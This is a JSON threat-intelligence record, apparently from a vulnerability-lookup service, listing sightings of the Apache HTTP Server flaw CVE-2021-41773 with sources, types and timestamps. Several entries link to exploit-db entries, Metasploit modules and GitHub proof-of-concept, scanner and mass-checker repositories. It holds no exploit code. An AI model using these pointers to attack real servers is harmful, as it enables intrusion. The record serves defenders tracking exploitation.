{"vulnerability": "cve-2021-41773", "sightings": [{"uuid": "20e2869a-a0d3-4362-a797-0e42cc89b904", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "seen", "source": "MISP/f5030aca-7d5a-43a4-ae03-8f4ac8e85422", "content": "", "creation_timestamp": "2021-11-08T08:58:16.000000Z"}, {"uuid": "a6d3e10e-8f97-48a0-91cd-9b9502cbacc0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2021-11-20T09:53:52.000000Z"}, {"uuid": "ac7265d6-d2a2-4a2e-9aa0-b60e1e1535e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "seen", "source": "MISP/63ddead6-4b82-414c-ad8e-c516b950b446", "content": "", "creation_timestamp": "2021-10-25T22:32:13.000000Z"}, {"uuid": "444560e5-7f99-4ab4-bcce-4967f00a1a5b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "seen", "source": "MISP/c16a712c-522a-45ec-91d4-9f2ce31918e6", "content": "", "creation_timestamp": "2021-10-21T14:09:20.000000Z"}, {"uuid": "aca0a49e-2c4d-4382-9dc1-baf2e38116f5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "seen", "source": "MISP/8bf50bb8-94dd-4004-a646-5f78db6f0b6a", "content": "", "creation_timestamp": "2022-07-14T13:36:27.000000Z"}, {"uuid": "18bdbc12-90de-4704-8230-e1257cdf904b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "seen", "source": "MISP/4d74089b-ad9f-4269-b1e0-21cba36a3daf", "content": "", "creation_timestamp": "2024-07-17T14:20:20.000000Z"}, {"uuid": "d057923b-cd80-45bc-bc8b-ac1ca26638b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2021/CVE-2021-41773.yaml", "content": "", "creation_timestamp": "2023-04-27T09:58:59.000000Z"}, {"uuid": "223792d1-e04c-4bae-9464-d8467cdefaf4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "exploited", "source": "https://www.exploit-db.com/exploits/50512", "content": "", "creation_timestamp": "2021-11-11T00:00:00.000000Z"}, {"uuid": "f4347adf-d367-4f3e-b039-64f02825f172", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "exploited", "source": "https://www.exploit-db.com/exploits/50383", "content": "", "creation_timestamp": "2021-10-06T00:00:00.000000Z"}, {"uuid": "5f698996-8fad-4fea-ab2a-c1aba50a66b6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "seen", "source": "https://feedsin.space/feed/CISAKevBot/items/2971157", "content": "", "creation_timestamp": "2024-12-24T20:25:06.402210Z"}, {"uuid": "6664dffb-94de-46cd-8a2d-fadb7e505bf7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "seen", "source": "https://feedsin.space/feed/CISAKevBot/items/2971156", "content": "", "creation_timestamp": "2024-12-24T20:25:05.371081Z"}, {"uuid": "1304a6a0-70c4-48a6-9e36-b9e9be81337e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "seen", "source": "https://bsky.app/profile/kyosuke-tanaka.bsky.social/post/3lgaif5pahc2m", "content": "", "creation_timestamp": "2025-01-21T08:58:57.047855Z"}, {"uuid": "3293e6b6-aed1-475d-bf03-9831b65fb302", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-06T03:13:45.000000Z"}, {"uuid": "e55cad6b-4bbc-4ea5-8997-fd94b872012d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-23T04:10:40.000000Z"}, {"uuid": "219c5d18-9d02-4f7b-a551-674ec32f6561", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2025-02-23T02:09:58.000000Z"}, {"uuid": "734641b9-46a6-4ef0-84a4-c39e5b3a9525", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "seen", "source": "https://bsky.app/profile/crowdsec.bsky.social/post/3lnn2cncbsk2j", "content": "", "creation_timestamp": "2025-04-25T10:48:06.610754Z"}, {"uuid": "b7bf4034-e2c4-4d45-98e6-9bc01af14ed0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "seen", "source": "https://bsky.app/profile/crowdsec.bsky.social/post/3lnn2covx4s2j", "content": "", "creation_timestamp": "2025-04-25T10:48:07.196254Z"}, {"uuid": "c402a596-50aa-4a3c-bec6-2f8ab23238c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "seen", "source": "https://bsky.app/profile/crowdsec.bsky.social/post/3lnn2covy422j", "content": "", "creation_timestamp": "2025-04-25T10:48:07.790617Z"}, {"uuid": "908797e0-9d35-4750-af21-43099149f845", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "seen", "source": "https://bsky.app/profile/crowdsec.bsky.social/post/3lnn2covz3c2j", "content": "", "creation_timestamp": "2025-04-25T10:48:08.379070Z"}, {"uuid": "2c6da71c-4f59-4f92-8f17-492bb2f2724a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "seen", "source": "https://bsky.app/profile/crowdsec.bsky.social/post/3lnn2cow22k2j", "content": "", "creation_timestamp": "2025-04-25T10:48:08.951004Z"}, {"uuid": "bc5ce280-6cb8-4c50-bad3-fefe0d6853c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "seen", "source": "https://bsky.app/profile/crowdsec.bsky.social/post/3lnn2cow2zs2j", "content": "", "creation_timestamp": "2025-04-25T10:48:09.528804Z"}, {"uuid": "6c4cd5a8-a9a4-4567-8873-fa733da2655a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "seen", "source": "https://bsky.app/profile/crowdsec.bsky.social/post/3lnn2cow2zt2j", "content": "", "creation_timestamp": "2025-04-25T10:48:10.095211Z"}, {"uuid": "8c53d801-b969-4395-8351-ac0d8fa5eab4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "seen", "source": "https://bsky.app/profile/crowdsec.bsky.social/post/3lnn2cow3z32j", "content": "", "creation_timestamp": "2025-04-25T10:48:10.701275Z"}, {"uuid": "e6e02670-2933-41d5-a3d6-3c7c36e3e487", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "seen", "source": "https://bsky.app/profile/crowdsec.bsky.social/post/3lnn2cqb7vd2j", "content": "", "creation_timestamp": "2025-04-25T10:48:11.317841Z"}, {"uuid": "bdf6e417-5a12-4bc1-9eb8-609dc935557a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "seen", "source": "https://gist.github.com/jeraldjunkmail/f5f7e892deeac00d0236e951179290bb", "content": "", "creation_timestamp": "2025-06-11T18:42:27.000000Z"}, {"uuid": "479dd72e-4630-4bfc-8598-8337f8eb08a5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "seen", "source": "https://gist.github.com/jeraldjunkmail/298bc513f77c5c29206139eda2a7d067", "content": "", "creation_timestamp": "2025-06-11T18:41:38.000000Z"}, {"uuid": "f5a54cf1-dab9-469a-a485-9f72644dfeaf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "seen", "source": "https://bsky.app/profile/nimblenerd.social/post/3lu64zvxalq26", "content": "", "creation_timestamp": "2025-07-17T14:23:12.112191Z"}, {"uuid": "7f7b06cf-edb7-446d-8572-0dcaa7d98eca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "seen", "source": "https://thehackernews.com/2025/07/hackers-exploit-apache-http-server-flaw.html", "content": "", "creation_timestamp": "2025-07-17T12:11:00.000000Z"}, {"uuid": "207e84b3-732c-4813-8183-47af021ae9fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "seen", "source": "https://bsky.app/profile/ytroncal.bsky.social/post/3lu7lgwx5lc2w", "content": "", "creation_timestamp": "2025-07-18T04:13:43.881353Z"}, {"uuid": "29c744ee-01d6-43a1-9b05-6d5db89040c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "seen", "source": "https://infosec.exchange/users/dragonjar/statuses/114873912181744321", "content": "", "creation_timestamp": "2025-07-18T11:06:37.243418Z"}, {"uuid": "658f5299-296a-4e79-ad0a-4761db202da8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2021-41773", "type": "seen", "source": "https://gist.github.com/prabhatverma47/10282d7b358ebfa7023be18f979b20a3", "content": "", "creation_timestamp": "2025-07-26T18:34:48.000000Z"}, {"uuid": "bd330127-fbf0-421c-bfc9-45f97d72322b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "seen", "source": "MISP/a41d8549-5384-5e1a-8c33-bf88e35b5a0a", "content": "", "creation_timestamp": "2025-10-14T10:31:57.000000Z"}, {"uuid": "239294f5-c9df-496a-8221-530887f66d6b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/http/apache_normalize_path.rb", "content": "", "creation_timestamp": "2021-10-22T16:59:35.000000Z"}, {"uuid": "78f467b3-c186-4277-b3cc-b54507a5751a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "seen", "source": "MISP/ab0b745f-bbd5-338e-8b92-97dd0c757e9d", "content": "", "creation_timestamp": "2025-08-31T03:01:06.000000Z"}, {"uuid": "c9fc0a15-42d1-4ceb-8604-e2e0340eb8d6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/apache_normalize_path_rce.rb", "content": "", "creation_timestamp": "2021-10-22T16:59:35.000000Z"}, {"uuid": "12f09d29-8508-44d5-b840-b82f1f45ef19", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2021-41773", "type": "seen", "source": "https://gist.github.com/TomaszFrejnik/2f20c53778d48b6931abf358f7b8bde3", "content": "", "creation_timestamp": "2026-02-09T14:45:48.000000Z"}, {"uuid": "10432167-4f24-4e93-a15c-dfbb2eaf83f6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "seen", "source": "https://gist.github.com/NidTamil/0d98fdbe48c77aefb835ef97bef4eb94", "content": "", "creation_timestamp": "2025-12-07T07:41:58.000000Z"}, {"uuid": "8be3226d-6fc4-464b-9798-0005cb8e4dc2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "seen", "source": "https://gist.github.com/aw-junaid/ae4d93f4a6b7d5e657e92315bcfa005c", "content": "", "creation_timestamp": "2026-02-21T18:37:39.000000Z"}, {"uuid": "a9398981-29c8-4b55-aa1b-f2798ffda99b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "seen", "source": "https://gist.github.com/winterswang/4908fd900e5f5a047bafb32001894038", "content": "", "creation_timestamp": "2026-03-11T04:03:33.000000Z"}, {"uuid": "2869760a-1522-49c0-acc1-7396cebb8be4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2021-41773", "type": "seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=664", "content": "", "creation_timestamp": "2021-10-06T04:00:00.000000Z"}, {"uuid": "81d424b2-8b52-4e22-a326-c56ce97ad51b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2021-41773", "type": "seen", "source": "https://www.kyberturvallisuuskeskus.fi/fi/haavoittuvuus_30/2021", "content": "", "creation_timestamp": "2021-10-06T07:52:42.000000Z"}, {"uuid": "5d387c26-b67f-406e-b9f1-bb1d758bee63", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "c933734a-9be8-4142-889e-26e95c752803", "vulnerability": "CVE-2021-41773", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/92582bf5-d92c-47fe-b891-656d271bbfef", "content": "", "creation_timestamp": "2024-10-14T15:50:35.983245Z"}, {"uuid": "b9a2de18-4907-4c91-b7be-f9b458963c2b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "seen", "source": "https://gist.github.com/alon710/9f684373b84a67aab5ed4cb785cef768", "content": "", "creation_timestamp": "2026-01-24T21:26:59.000000Z"}, {"uuid": "7294f3e9-597c-4460-a42c-80eecc0fb8ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "seen", "source": "https://gist.github.com/alon710/1ea3b6a49fa83d13b38c9c6bc3b7c20c", "content": "", "creation_timestamp": "2026-01-24T21:26:28.000000Z"}, {"uuid": "bdec72fd-8524-45b5-ae65-62ab91119835", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "seen", "source": "https://gist.github.com/alon710/252dc8cfac5b97420e6dd2fa2fa69f7a", "content": "", "creation_timestamp": "2026-01-24T22:42:20.000000Z"}, {"uuid": "e6363005-6d01-46c6-81c7-ce1283c6e32e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "seen", "source": "https://gist.github.com/alon710/62fd8699994eeaeddf766631617c0993", "content": "", "creation_timestamp": "2026-01-24T22:41:50.000000Z"}, {"uuid": "2aad6e42-95ed-4efe-9464-d7b6f7b56558", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "seen", "source": "https://gist.github.com/alon710/55414f10a9656d4d61dfbf21c7674f36", "content": "", "creation_timestamp": "2026-01-24T22:43:14.000000Z"}, {"uuid": "c71787b0-d656-4573-86bd-344bebec3fbf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2021-41773", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/20ac44ce-0563-4169-8459-dbabc602a92d", "content": "", "creation_timestamp": "2026-02-02T12:28:35.077470Z"}, {"uuid": "4db1035c-b2ee-4dc6-857f-f2c48799b634", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/12289", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aRCE\n\u63cf\u8ff0\uff1aThis repository contains a Proof-of-Concept for the CVE-2021-41773. This CVE contains a LFI and RCE vulnerablity.\nURL\uff1ahttps://github.com/tiemio/SSH-key-and-RCE-PoC-for-CVE-2021-41773\n\n\u6807\u7b7e\uff1a#RCE", "creation_timestamp": "2025-02-02T20:37:47.000000Z"}, {"uuid": "4fb30149-8fa6-47a4-accc-58396861b859", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/681", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aApache (Linux) CVE-2021-41773/2021-42013 Mass Vulnerability Checker\nURL\uff1ahttps://github.com/im-hanzou/apachrot", "creation_timestamp": "2021-10-12T07:24:10.000000Z"}, {"uuid": "2122a2d1-8ed4-4b86-a0b6-672cad1d9351", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "published-proof-of-concept", "source": "Telegram/6x7nwna-vtQ089AZvELTDYHncFwQR8bSc4xo9Mu5UunXTzE", "content": "", "creation_timestamp": "2025-11-26T15:00:08.000000Z"}, {"uuid": "bc61339e-791c-4eb0-880c-5b318a63d045", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/672", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aMetasploit-Framework modules (scanner and exploit) for the CVE-2021-41773 and CVE-2021-42013 (Path Traversal in Apache 2.4.49/2.4.50)\nURL\uff1ahttps://github.com/Zeop-CyberSec/apache_normalize_path", "creation_timestamp": "2021-10-10T12:51:09.000000Z"}, {"uuid": "f5b3889e-ed0d-4b21-9a92-77d024702f0a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/670", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aCVE-2021-41773: Path Traversal Zero-Day in Apache HTTP Server Exploited\nURL\uff1ahttps://github.com/twseptian/CVE-2021-41773", "creation_timestamp": "2021-10-10T05:23:18.000000Z"}, {"uuid": "0a007a24-bcec-4f92-b068-481972e5522b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/698", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aapache httpd path traversal checker(CVE-2021-41773 / CVE-2021-42013)\nURL\uff1ahttps://github.com/theLSA/apache-httpd-path-traversal-checker", "creation_timestamp": "2021-10-15T10:40:38.000000Z"}, {"uuid": "a833c854-f8dc-4ebd-8202-527ef5de3089", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/697", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aTool check: CVE-2021-41773, CVE-2021-42013, CVE-2020-17519\nURL\uff1ahttps://github.com/MrCl0wnLab/SimplesApachePathTraversal", "creation_timestamp": "2021-10-14T21:14:51.000000Z"}, {"uuid": "8227f1ed-b1b5-46fd-aa4c-2d9c117c9334", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/703", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aSimple honeypot for CVE-2021-41773 vulnerability\nURL\uff1ahttps://github.com/lopqto/CVE-2021-41773_Honeypot", "creation_timestamp": "2021-10-16T15:32:47.000000Z"}, {"uuid": "2a2fea24-9dda-44f7-9c74-b16054ef1d5b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/700", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aCVE-2021-41773-PoC\nURL\uff1ahttps://github.com/anonsecteaminc/CVE-2021-41773-PoC", "creation_timestamp": "2021-10-16T01:40:35.000000Z"}, {"uuid": "1706824a-cabb-4185-93d9-9e51d28009e8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/699", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aThe first vulnerability with the CVE identifier CVE-2021-41773 is a path traversal flaw that exists in Apache HTTP Server 2.4.49.\nURL\uff1ahttps://github.com/LudovicPatho/CVE-2021-41773", "creation_timestamp": "2021-10-15T21:44:12.000000Z"}, {"uuid": "dc9c4dc0-7d7c-45d3-8f7b-418e887dd517", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/654", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aCVE-2021-41773.nse\nURL\uff1ahttps://github.com/creadpag/cve-2021-41773-nse", "creation_timestamp": "2021-10-06T05:14:37.000000Z"}, {"uuid": "ee09e5af-5067-45da-bcff-0a6767d6b408", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/653", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aPoC for CVE-2021-41773 with docker to demonstrate\nURL\uff1ahttps://github.com/habibiefaried/CVE-2021-41773-PoC", "creation_timestamp": "2021-10-06T03:03:23.000000Z"}, {"uuid": "281173b9-ec2b-4993-a6ff-e31f8780ebf5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/652", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aCVE-2021-41773 POC with Docker\nURL\uff1ahttps://github.com/itsecurityco/CVE-2021-41773", "creation_timestamp": "2021-10-06T02:33:42.000000Z"}, {"uuid": "2395325c-9755-4e38-bdc1-ecbf7456e512", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/662", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aPath traversal and file disclosure vulnerability in Apache HTTP Server 2.4.49 (CVE-2021-41773)\nURL\uff1ahttps://github.com/jbovet/CVE-2021-41773", "creation_timestamp": "2021-10-06T13:45:03.000000Z"}, {"uuid": "420e7fe0-c5cd-473e-9207-60cda5d358d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/674", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aCVE-2021-41773 Grabber\nURL\uff1ahttps://github.com/apapedulimu/Apachuk", "creation_timestamp": "2021-10-11T01:00:28.000000Z"}, 